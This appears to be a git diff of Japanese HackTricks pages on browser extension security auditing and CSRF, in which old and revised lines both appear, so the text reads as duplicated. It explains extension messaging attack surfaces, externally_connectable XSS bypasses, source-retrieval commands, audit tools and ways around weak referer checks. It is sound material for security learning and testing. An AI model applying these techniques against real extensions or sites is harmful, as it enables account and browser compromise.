もしウェブページが **`externally_connectable`** に **XSSまたはテイクオーバーに脆弱** として示されている場合、攻撃者は **バックグラウンドスクリプトに直接メッセージを送信** でき、Content ScriptとそのCSPを完全にバイパスすることができます。
したがって、これは **非常に強力なバイパス** です。
さらに、クライアントが不正な拡張機能をインストールした場合、たとえそれが脆弱な拡張機能と通信することが許可されていなくても、**許可されたウェブページにXSSデータを注入** したり、**`WebRequest`** または **`DeclarativeNetRequest`** APIを悪用して、ターゲットドメインのリクエストを操作し、**JavaScriptファイル**のリクエストを変更することができます。ターゲットページのCSPがこれらの攻撃を防ぐ可能性があることに注意してください。このアイデアは [**この書き込みから**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability) 来ています。
さらに、クライアントが不正な拡張機能をインストールした場合、たとえそれが脆弱な拡張機能と通信することが許可されていなくても、**許可されたウェブページにXSSデータを注入** したり、**`WebRequest`** または **`DeclarativeNetRequest`** APIを悪用して、ターゲットドメインのリクエストを操作し、ページの **JavaScriptファイル** のリクエストを変更することができます。ターゲットページのCSPがこれらの攻撃を防ぐ可能性があることに注意してください。このアイデアは [**この書き込みから**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability) 来ています。
{% endhint %}
## コミュニケーションの概要
### 拡張機能 <--> ウェブアプリ
コンテンツスクリプトとウェブページ間で通信するために、通常はポストメッセージが使用されます。したがって、ウェブアプリケーションでは通常 **`window.postMessage`** 関数への呼び出しが見られ、コンテンツスクリプトでは **`window.addEventListener`** のようなリスナーが見られます。ただし、拡張機能は **ポストメッセージを送信してウェブアプリケーションと通信** することもできるため、ウェブはそれを期待する必要があります。または、ウェブに新しいスクリプトを読み込ませることもできます。
コンテンツスクリプトとウェブページ間で通信するために、通常はポストメッセージが使用されます。したがって、ウェブアプリケーションでは通常 **`window.postMessage`** 関数への呼び出しが見られ、コンテンツスクリプトでは **`window.addEventListener`** のようなリスナーが見られます。ただし、拡張機能は **ポストメッセージを送信してウェブアプリケーションと通信** することもでき(したがってウェブはそれを期待する必要があります)、単にウェブに新しいスクリプトを読み込ませることもできます。
### 拡張機能内
通常、**`chrome.runtime.sendMessage`** 関数が拡張機能内でメッセージを送信するために使用され(通常は `background` スクリプトによって処理されます)、それを受信して処理するためにリスナーが **`chrome.runtime.onMessage.addListener`** を呼び出して宣言されます。
通常、拡張機能内でメッセージを送信するために **`chrome.runtime.sendMessage`** 関数が使用され(通常は `background` スクリプトによって処理されます)、それを受信して処理するためにリスナーが **`chrome.runtime.onMessage.addListener`** を呼び出して宣言されます。
**`chrome.runtime.connect()`** を使用して、単一のメッセージを送信する代わりに持続的な接続を持つことも可能で、次の例のように **メッセージを送信** および **受信** するために使用できます。
**`chrome.runtime.connect()`** を使用して、単一のメッセージを送信する代わりに持続的な接続を持つことも可能で、次の例のように **メッセージを送信** **受信** するために使用できます。
<details>
@ -419,11 +419,11 @@ console.log("Content script received message from background script:", msg);
```
</details>
バックグラウンドスクリプトから特定のタブにあるコンテンツスクリプトにメッセージを送信することも可能で、**`chrome.tabs.sendMessage`**を呼び出す必要があります。この際、メッセージを送信する**タブのID**を指定する必要があります。
バックグラウンドスクリプトから特定のタブにあるコンテンツスクリプトにメッセージを送信することも可能で、**`chrome.tabs.sendMessage`**を呼び出す際にメッセージを送信する**タブのID**を指定する必要があります。
### 許可された`externally_connectable`から拡張機能へ
### 許可された `externally_connectable` から拡張機能へ
`externally_connectable`設定で許可された**Webアプリと外部ブラウザ拡張機能**は、次のようにリクエストを送信できます:
`externally_connectable` 設定で許可された**Webアプリと外部ブラウザ拡張機能**は、次のようにリクエストを送信できます:
```javascript
chrome.runtime.sendMessage(extensionId, ...
```
@ -431,7 +431,7 @@ chrome.runtime.sendMessage(extensionId, ...
### ネイティブメッセージング
バックグラウンドスクリプトがシステム内のバイナリと通信することが可能であり、この通信が適切に保護されていない場合、**RCEなどの重大な脆弱性にさらされる可能性があります**。[この後で詳しく説明します](./#native-messaging)。
バックグラウンドスクリプトがシステム内のバイナリと通信することが可能であり、この通信が適切に保護されていない場合、**RCEなどの重大な脆弱性にさらされる可能性があります**。[後で詳しく説明します](./#native-messaging)。
```javascript
chrome.runtime.sendNativeMessage(
'com.my_company.my_application',
@ -479,10 +479,10 @@ window.postMessage(
安全なPost Message通信は、受信したメッセージの信頼性を確認する必要があります。これは以下を確認することで行えます
* **`event.isTrusted`**: これは、イベントがユーザーのアクションによってトリガーされた場合のみTrueになります。
* コンテンツスクリプトは、ユーザーが何らかのアクションを実行した場合にのみメッセージを期待しているかもしれません。
* **origin domain**: メッセージを期待するのは、許可リストにあるドメインのみです
* コンテンツスクリプトは、ユーザーが何らかのアクションを実行した場合にのみメッセージを期待るかもしれません。
* **origin domain**: メッセージを期待する場合は、許可リストのドメインのみを許可するかもしれません
* 正規表現が使用される場合は、非常に注意が必要です。
* **Source**: `received_message.source !== window`を使用して、メッセージが**コンテンツスクリプトがリスニングしている同じウィンドウ**からのものであるかを確認できます。
* **Source**: `received_message.source !== window`を使用して、メッセージが**コンテンツスクリプトがリスニングしている同じウィンドウから**のものであるかを確認できます。
前述のチェックは、実施されていても脆弱である可能性があるため、次のページで**潜在的なPost Messageバイパス**を確認してください:
@ -502,7 +502,7 @@ window.postMessage(
これは「正確には」通信方法ではありませんが、**ウェブとコンテンツスクリプトはウェブDOMにアクセスできます**。したがって、**コンテンツスクリプト**がそこから情報を読み取っている場合、**ウェブDOMを信頼している**と、ウェブはこのデータを**変更する可能性があります**ウェブは信頼されるべきではないため、またはウェブがXSSに対して脆弱であるためし、**コンテンツスクリプトを危険にさらす**可能性があります。
**DOMベースのXSSを使用してブラウザ拡張を危険にさらす**も以下にあります:
**ブラウザ拡張を危険にさらすためのDOMベースのXSSの例**も以下にあります:
{% content-ref url="browext-xss-example.md" %}
[browext-xss-example.md](browext-xss-example.md)
@ -522,7 +522,7 @@ const response = await chrome.runtime.sendMessage({greeting: "hello"});
console.log(response);
})();
```
**拡張機能**からリクエストを送信す(通常は**バックグラウンドスクリプト**)。選択したタブのコンテンツスクリプトにメッセージを送信する方法の例:
**拡張機能**からリクエストを送信します(通常は**バックグラウンドスクリプト**)。選択したタブのコンテンツスクリプトにメッセージを送信する方法の例:
```javascript
// From https://stackoverflow.com/questions/36153999/how-to-send-a-message-between-chrome-extension-popup-and-content-script
(async () => {
@ -547,13 +547,13 @@ sendResponse({farewell: "goodbye"});
```
例で強調されたように、**`sendResponse()`** は同期的に実行されました。`sendResponse()` の非同期実行のために `onMessage` イベントハンドラーを修正するには、`return true;` を組み込むことが不可欠です。
重要な考慮事項は、複数のページが `onMessage` イベントを受信するように設定されているシナリオでは、**特定のイベントに対して `sendResponse()` を最初に実行したページ** だけが、効果的に応答を提供できるということです。同じイベントに対するその後の応答は考慮されません。
重要な考慮事項は、複数のページが `onMessage` イベントを受信するように設定されているシナリオでは、**特定のイベントに対して `sendResponse()`** を最初に実行したページだけが、効果的に応答を提供できるということです。同じイベントに対するその後の応答は考慮されません。
新しい拡張機能を作成する際は、コールバックよりもプロミスを優先すべきです。コールバックの使用に関しては、`sendResponse()` 関数は、同期コンテキスト内で直接実行される場合、またはイベントハンドラーが `true` を返すことによって非同期操作を示す場合にのみ有効と見なされます。どのハンドラーも `true` を返さない場合や、`sendResponse()` 関数がメモリから削除された場合(ガーベジコレクションされた場合)、`sendMessage()` 関数に関連付けられたコールバックがデフォルトでトリガーされます。
## ネイティブメッセージング
ブラウザ拡張機能は、**システム内のバイナリと stdin 経由で通信することも可能です**。アプリケーションは、次のような json でそれを示す json をインストールする必要があります:
ブラウザ拡張機能は、**システム内のバイナリと stdin 経由で通信することも可能です**。アプリケーションは、次のような json を示す json をインストールする必要があります:
```json
{
"name": "com.my_company.my_application",
@ -600,7 +600,7 @@ In [**このブログ投稿**](https://spaceraccoon.dev/universal-code-execution
ブラウザからメモリをダンプするには、**プロセスメモリをダンプする**か、ブラウザ拡張機能の**設定**に行き、**`Inspect pop-up`**をクリック -> **`Memory`**セクション -> **`Take a snapshot`**を選択し、**`CTRL+F`**でスナップショット内の機密情報を検索します。
さらに、ニーモニックキーやパスワードのような非常に機密性の高い情報は、**クリップボードにコピーされることを許可すべきではありません**(または少なくとも数秒以内にクリップボードから削除するべきです)なぜなら、その後クリップボードを監視しているプロセスがそれらを取得できるからです。
さらに、ニーモニックキーやパスワードのような非常に機密性の高い情報は、**クリップボードにコピーされることを許可すべきではありません**(または少なくとも数秒以内にクリップボードから削除するべきです)なぜなら、クリップボードを監視しているプロセスがそれらを取得できるからです。
## ブラウザに拡張機能を読み込む
@ -612,7 +612,7 @@ In [**このブログ投稿**](https://spaceraccoon.dev/universal-code-execution
## ストアからソースコードを取得する
Chrome拡張機能のソースコードは、さまざまな方法で取得できます。以下に各オプションの詳細な説明と手順を示します。
Chrome拡張機能のソースコードは、さまざまな方法で取得できます。以下は各オプションの詳細な説明と手順です。
### コマンドラインを介してZIPとして拡張機能をダウンロード
@ -625,19 +625,19 @@ extension_id=your_extension_id # Replace with the actual extension ID
curl -L -o "$extension_id.zip" "https://clients2.google.com/service/update2/crx?response=redirect&os=mac&arch=x86-64&nacl_arch=x86-64&prod=chromecrx&prodchannel=stable&prodversion=44.0.2403.130&x=id%3D$extension_id%26uc"
unzip -d "$extension_id-source" "$extension_id.zip"
```
### CRX Viewerウェブサイトを使用する
### CRXビューワーウェブサイトを使用する
[https://robwu.nl/crxviewer/](https://robwu.nl/crxviewer/)
### CRX Viewer拡張機能を使用する
### CRXビューワー拡張機能を使用する
もう一つの便利な方法は、オープンソースプロジェクトであるChrome Extension Source Viewerを使用することです。これは[Chrome Web Store](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en)からインストールできます。ビューワーのソースコードはその[GitHubリポジトリ](https://github.com/Rob--W/crxviewer)で入手可能です。
もう一つの便利な方法は、オープンソースプロジェクトであるChrome拡張機能ソースビューワーを使用することです。これは[Chromeウェブストア](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en)からインストールできます。ビューワーのソースコードはその[GitHubリポジトリ](https://github.com/Rob--W/crxviewer)で入手可能です。
### ローカルにインストールされた拡張機能のソースを表示する
ローカルにインストールされたChrome拡張機能も検査できます。方法は以下の通りです
1. `chrome://version/`にアクセスし、「Profile Path」フィールドを見つけて、Chromeのローカルプロファイルディレクトリにアクセスします。
1. `chrome://version/`にアクセスし、「プロファイルパス」フィールドを見つけて、Chromeのローカルプロファイルディレクトリにアクセスします。
2. プロファイルディレクトリ内の`Extensions/`サブフォルダに移動します。
3. このフォルダには、通常は読みやすい形式のソースコードを持つすべてのインストールされた拡張機能が含まれています。
@ -646,17 +646,17 @@ unzip -d "$extension_id-source" "$extension_id.zip"
* `about:extensions`ページで開発者モードを有効にして、各拡張機能のIDを表示します。
* 各拡張機能のフォルダ内の`manifest.json`ファイルには、拡張機能を特定するのに役立つ読みやすい`name`フィールドが含まれています。
### ファイルアーカイバまたはアンパッカーを使用する
### ファイルアーカイバまたはアンパッカーを使用する
Chrome Web Storeにアクセスして拡張機能をダウンロードします。ファイルは`.crx`拡張子を持っています。ファイルの拡張子を`.crx`から`.zip`に変更します。任意のファイルアーカイバWinRAR、7-Zipなどを使用してZIPファイルの内容を抽出します。
Chromeウェブストアに行き、拡張機能をダウンロードします。ファイルは`.crx`拡張子を持っています。ファイルの拡張子を`.crx`から`.zip`に変更します。任意のファイルアーカイバWinRAR、7-Zipなどを使用してZIPファイルの内容を抽出します。
### Chromeで開発者モードを使用する
Chromeを開き、`chrome://extensions/`に移動します。右上で「開発者モード」を有効にします。「未パッケージの拡張機能を読み込む...」をクリックします。拡張機能のディレクトリに移動します。これはソースコードをダウンロードするものではありませんが、すでにダウンロードまたは開発された拡張機能のコードを表示および変更するのに便利です。
Chromeを開き、`chrome://extensions/`に移動します。右上で「開発者モード」を有効にします。「解凍された拡張機能を読み込む...」をクリックします。拡張機能のディレクトリに移動します。これはソースコードをダウンロードするものではありませんが、すでにダウンロードまたは開発された拡張機能のコードを表示および変更するのに便利です。
## Chrome拡張機能マニフェストデータセット
脆弱なブラウザ拡張機能を見つけるために、[https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset)を使用し、マニフェストファイルに潜在的な脆弱性の兆候がないか確認できます。たとえば、25000人以上のユーザーを持つ拡張機能、`content_scripts`、および権限`nativeMessaing`を確認するに
脆弱なブラウザ拡張機能を見つけるために、[https://github.com/palant/chrome-extension-manifests-dataset](https://github.com/palant/chrome-extension-manifests-dataset)を使用し、マニフェストファイルに潜在的な脆弱性の兆候がないか確認できます。えば、25000人以上のユーザーを持つ拡張機能、`content_scripts`、および権限`nativeMessaging`を確認するために:
{% code overflow="wrap" %}
```bash
@ -667,7 +667,7 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt
## セキュリティ監査チェックリスト
ブラウザ拡張機能は**限られた攻撃面**を持っていますが、その中には**脆弱性**や**強化の可能性**が含まれている場合があります。以下は最も一般的なものです:
ブラウザ拡張機能は**攻撃面が限られています**が、その中には**脆弱性**や**強化の可能性**が含まれている場合があります。以下は最も一般的なものです:
* [ ] **要求される** **`permissions`** をできるだけ**制限**する
* [ ] **`host_permissions`** をできるだけ**制限**する
@ -676,11 +676,11 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt
* [ ] **XSSまたは乗っ取りに脆弱なURL**がここに記載されている場合、攻撃者は**バックグラウンドスクリプトに直接メッセージを送信**できる。非常に強力なバイパス。
* [ ] **`web_accessible_resources`** をできるだけ**制限**する。可能であれば空にする。
* [ ] **`web_accessible_resources`** がない場合、[**ClickJacking**](browext-clickjacking.md)を確認する
* [ ] **拡張機能**から**ウェブページ**への**通信**が発生する場合、[**XSS**](browext-xss-example.md) **脆弱性**が通信によって引き起こされていないか確認する。
* [ ] **拡張機能**から**ウェブページ**への**通信**が発生する場合、通信によって引き起こされる[**XSS**](browext-xss-example.md) **脆弱性**確認する。
* [ ] Post Messagesが使用されている場合、[**Post Messageの脆弱性**](../postmessage-vulnerabilities/)**を確認する。**
* [ ] **Content ScriptがDOMの詳細にアクセス**する場合、ウェブによって**変更**されると**XSSを導入していないか**確認する
* [ ] この通信が**Content Script -> バックグラウンドスクリプト通信**にも関与している場合は特に強調する
* [ ] バックグラウンドスクリプトが**ネイティブメッセージング**を介して通信している場合、通信が安全でサニタイズされている確認する
* [ ] バックグラウンドスクリプトが**ネイティブメッセージング**を介して通信している場合、通信が安全でサニタイズされていることを確認する
* [ ] **機密情報は**ブラウザ拡張機能の**コード内に保存すべきではない**
* [ ] **機密情報は**ブラウザ拡張機能の**メモリ内に保存すべきではない**
* [ ] **機密情報は****ファイルシステムに無防備に保存すべきではない**
@ -690,31 +690,31 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt
### [**Tarnish**](https://thehackerblog.com/tarnish/)
* 提供されたChromeウェブストアリンクから任意のChrome拡張機能を取得します。
* [**manifest.json**](https://developer.chrome.com/extensions/manifest) **ビューワー**拡張機能のマニフェストのJSON整形バージョンを表示します。
* **フィンガープリンター分析** [web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) の検出とChrome拡張機能フィンガープリンティングJavaScriptの自動生成。
* **潜在的なClickjacking分析** [web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) ディレクティブが設定された拡張機能のHTMLページの検出。これらはページの目的に応じてClickjackingに脆弱である可能性があります。
* **権限警告ビューワー**ユーザーが拡張機能をインストールしようとしたときに表示されるすべてのChrome権限プロンプト警告のリストを表示します。
* **危険な関数**攻撃者によって悪用される可能性のある危険な関数の場所を示しますinnerHTML、chrome.tabs.executeScriptなどの関数)。
* **エントリポイント**拡張機能がユーザー/外部入力を受け取る場所を示します。これは拡張機能の表面積を理解し、悪意のあるデータを拡張機能に送信する潜在的なポイントを探すのに役立ちます。
* 危険な関数とエントリポイントスキャナーは、生成されたアラートに対して以下を持っています:
* [**manifest.json**](https://developer.chrome.com/extensions/manifest) **ビューワー**: 拡張機能のマニフェストのJSON整形版を表示します。
* **フィンガープリンター分析**: [web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources)の検出とChrome拡張機能フィンガープリンティングJavaScriptの自動生成。
* **潜在的なClickjacking分析**: [web\_accessible\_resources](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources)ディレクティブが設定された拡張機能のHTMLページの検出。これらはページの目的に応じてClickjackingに対して脆弱である可能性があります。
* **権限警告ビューワー**: ユーザーが拡張機能をインストールしようとしたときに表示されるすべてのChrome権限プロンプト警告のリストを表示します。
* **危険な関数**: 攻撃者によって悪用される可能性のある危険な関数の場所を示します(例: innerHTML、chrome.tabs.executeScriptなど)。
* **エントリポイント**: 拡張機能がユーザー/外部入力を受け取る場所を示します。これは拡張機能の表面積を理解し、悪意のあるデータを拡張機能に送信する潜在的なポイントを探すのに役立ちます。
* 危険な関数とエントリポイントスキャナーは、生成されたアラートに以下を含みます:
* アラートを引き起こした関連コードスニペットと行。
* 問題の説明。
* コードを含む完全なソースファイルを表示するための「ファイルを表示」ボタン。
* アラートが発生したファイルのパス。
* アラートが発生したファイルの完全なChrome拡張機能URI。
* バックグラウンドページスクリプト、コンテンツスクリプト、ブラウザアクションなど、ファイルの種類。
* 脆弱な行がJavaScriptファイルにある場合、それが含まれているすべてのページのパスとこれらのページの種類、[web\_accessible\_resource](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) ステータス。
* **コンテンツセキュリティポリシーCSPアナライザーおよびバイパスチェッカー**これにより、拡張機能のCSPの弱点が指摘され、ホワイトリストに登録されたCDNなどによるCSPのバイパスの潜在的な方法が明らかになります。
* **既知の脆弱なライブラリ**これは[Retire.js](https://retirejs.github.io/retire.js/)を使用して、既知の脆弱なJavaScriptライブラリの使用をチェックします。
* 脆弱な行がJavaScriptファイルにある場合、それが含まれているすべてのページのパスとこれらのページの種類、[web\_accessible\_resource](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources)ステータス。
* **コンテンツセキュリティポリシーCSPアナライザーおよびバイパスチェッカー**: これにより、拡張機能のCSPの弱点が指摘され、ホワイトリストに登録されたCDNなどによるCSPのバイパスの潜在的な方法が明らかになります。
* **既知の脆弱なライブラリ**: これは[Retire.js](https://retirejs.github.io/retire.js/)を使用して、既知の脆弱なJavaScriptライブラリの使用をチェックします。
* 拡張機能とフォーマットされたバージョンをダウンロード。
* 元の拡張機能をダウンロード。
* 拡張機能の美化されたバージョンをダウンロード自動整形されたHTMLとJavaScript
* スキャン結果の自動キャッシュ。拡張機能のスキャンを初めて実行する際にはかなりの時間がかかります。しかし、拡張機能が更新されていない限り、2回目は結果がキャッシュされているためほぼ瞬時に完了します。
* スキャン結果の自動キャッシュ。拡張機能のスキャンを初めて実行する際にはかなりの時間がかかります。しかし、拡張機能が更新されていない限り、2回目は結果がキャッシュされているためほぼ瞬時に完了します。
* リンク可能なレポートURL。誰かにTarnishによって生成された拡張機能レポートへのリンクを簡単に提供できます。
### [Neto](https://github.com/elevenpaths/neto)
プロジェクトNetoは、FirefoxやChromeなどの有名なブラウザのブラウザプラグインや拡張機能の隠れた機能を分析し解明するために考案されたPython 3パッケージです。これは、`manifest.json`、ローカリゼーションフォルダまたはJavaScriptおよびHTMLソースファイルなどの関連リソースからこれらの機能を抽出するために、パッケージ化されたファイルを解凍するプロセスを自動化します。
プロジェクトNetoは、FirefoxやChromeなどの有名なブラウザのブラウザプラグインや拡張機能の隠れた機能を分析し解明するために考案されたPython 3パッケージです。`manifest.json`、ローカリゼーションフォルダ、JavaScriptおよびHTMLソースファイルなどの関連リソースからこれらの機能を抽出するために、パッケージ化されたファイルを解凍するプロセスを自動化します。
## 参考文献
@ -730,16 +730,16 @@ node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.lengt
* [https://gist.github.com/LongJohnCoder/9ddf5735df3a4f2e9559665fb864eac0](https://gist.github.com/LongJohnCoder/9ddf5735df3a4f2e9559665fb864eac0)
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
<summary>Support HackTricks</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,67 +1,67 @@
# CSRF (クロスサイトリクエストフォージェリ)
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
<summary>Support HackTricks</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**してください 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう!
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
**ハッキングの洞察**\
ハッキングのスリルと課題に深く掘り下げたコンテンツに参加しましょう
**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking
**リアルタイムハックニュース**\
リアルタイムのニュースと洞察を通じて、急速に変化するハッキングの世界に遅れずについていきましょう
**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights
**最新の発表**\
新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得ましょう
**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates
**[**Discord**](https://discord.com/invite/N3FrSbmwdy)に参加して、今日からトップハッカーとコラボレーションを始めましょう!**
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
## クロスサイトリクエストフォージェリ (CSRF) の説明
**クロスサイトリクエストフォージェリ (CSRF)** は、ウェブアプリケーションに見られるセキュリティ脆弱性の一種です。これにより、攻撃者は認証されたセッションを悪用して、無防備なユーザーの代わりにアクションを実行できます。攻撃は、被害者のプラットフォームにログインしているユーザーが悪意のあるサイトを訪れたときに実行されます。このサイトは、JavaScriptの実行、フォームの送信、または画像の取得などの方法、被害者のアカウントへのリクエストをトリガーします。
**クロスサイトリクエストフォージェリ (CSRF)** は、ウェブアプリケーションに見られるセキュリティ脆弱性の一種です。これは、攻撃者が認証されたセッションを悪用して、無防備なユーザーの代わりにアクションを実行できるようにします。攻撃は、被害者のプラットフォームにログインしているユーザーが悪意のあるサイトを訪れたときに実行されます。このサイトは、JavaScriptの実行、フォームの送信、または画像の取得などの方法を通じて、被害者のアカウントへのリクエストをトリガーします。
### CSRF攻撃の前提条件
CSRF脆弱性を悪用するには、いくつかの条件を満たす必要があります
1. **価値のあるアクションを特定する**攻撃者は、ユーザーのパスワード、メールアドレスの変更、または権限の昇格など、悪用する価値のあるアクションを見つける必要があります。
2. **セッション管理**ユーザーのセッションは、クッキーまたはHTTP基本認証ヘッダーのみ管理されるべきです。他のヘッダーはこの目的のために操作できません。
3. **予測不可能なパラメータの不在**リクエストには予測不可能なパラメータが含まれていない必要があります。これらは攻撃を防ぐ可能性があります。
1. **価値のあるアクションを特定する**: 攻撃者は、ユーザーのパスワード、メールアドレスの変更、または権限の昇格など、悪用する価値のあるアクションを見つける必要があります。
2. **セッション管理**: ユーザーのセッションは、クッキーまたはHTTP基本認証ヘッダーを通じてのみ管理されるべきです。他のヘッダーはこの目的のために操作できません。
3. **予測不可能なパラメータの不在**: リクエストには予測不可能なパラメータが含まれていない必要があります。これらは攻撃を防ぐ可能性があります。
### クイックチェック
**Burpでリクエストをキャプチャ**し、CSRF保護を確認することができます。また、ブラウザからテストするには、**Copy as fetch**をクリックしてリクエストを確認できます:
<figure><img src="../.gitbook/assets/image (11) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (11) (1) (1).png" alt=""><figcaption></figcaption></figure>
### CSRFからの防御
CSRF攻撃から保護するために実装できるいくつかの対策があります
* [**SameSiteクッキー**](hacking-with-cookies/#samesite)この属性は、ブラウザがクロスサイトリクエストと共にクッキーを送信するのを防ぎます。[SameSiteクッキーの詳細](hacking-with-cookies/#samesite)。
* [**クロスオリジンリソースシェアリング**](cors-bypass.md)被害者サイトのCORSポリシーは、攻撃の実行可能性に影響を与える可能性があります。特に、攻撃が被害者サイトからの応答を読み取る必要がある場合。[CORSバイパスについて学ぶ](cors-bypass.md)。
* **ユーザー確認**ユーザーのパスワードを求めたり、キャプチャを解決させたりすることで、ユーザーの意図を確認できます。
* **リファラーまたはオリジンヘッダーの確認**これらのヘッダーを検証することで、リクエストが信頼できるソースから来ていることを確認できます。ただし、URLを慎重に作成することで、実装が不十分なチェックを回避できる場合があります。例えば
* [**SameSiteクッキー**](hacking-with-cookies/#samesite): この属性は、ブラウザがクロスサイトリクエストと共にクッキーを送信するのを防ぎます。[SameSiteクッキーについての詳細](hacking-with-cookies/#samesite)。
* [**クロスオリジンリソースシェアリング**](cors-bypass.md): 被害者サイトのCORSポリシーは、攻撃の実行可能性に影響を与える可能性があります。特に、攻撃が被害者サイトからの応答を読み取る必要がある場合。[CORSバイパスについて学ぶ](cors-bypass.md)。
* **ユーザー確認**: ユーザーのパスワードを求めたり、キャプチャを解決させたりすることで、ユーザーの意図を確認できます。
* **リファラーまたはオリジンヘッダーの確認**: これらのヘッダーを検証することで、リクエストが信頼できるソースから来ていることを確認できます。ただし、URLを慎重に作成することで、実装が不十分なチェックを回避できる場合があります。例えば
* `http://mal.net?orig=http://example.com`を使用するURLが信頼できるURLで終わる
* `http://example.com.mal.net`を使用するURLが信頼できるURLで始まる
* **パラメータ名の変更**POSTまたはGETリクエストのパラメータ名を変更することで、自動化された攻撃を防ぐのに役立ちます。
* **CSRFトークン**各セッションにユニークなCSRFトークンを組み込み、以降のリクエストでこのトークンを要求することで、CSRFのリスクを大幅に軽減できます。トークンの効果は、CORSを強制することで向上させることができます。
* **パラメータ名の変更**: POSTまたはGETリクエストのパラメータ名を変更することで、自動化された攻撃を防ぐのに役立ちます。
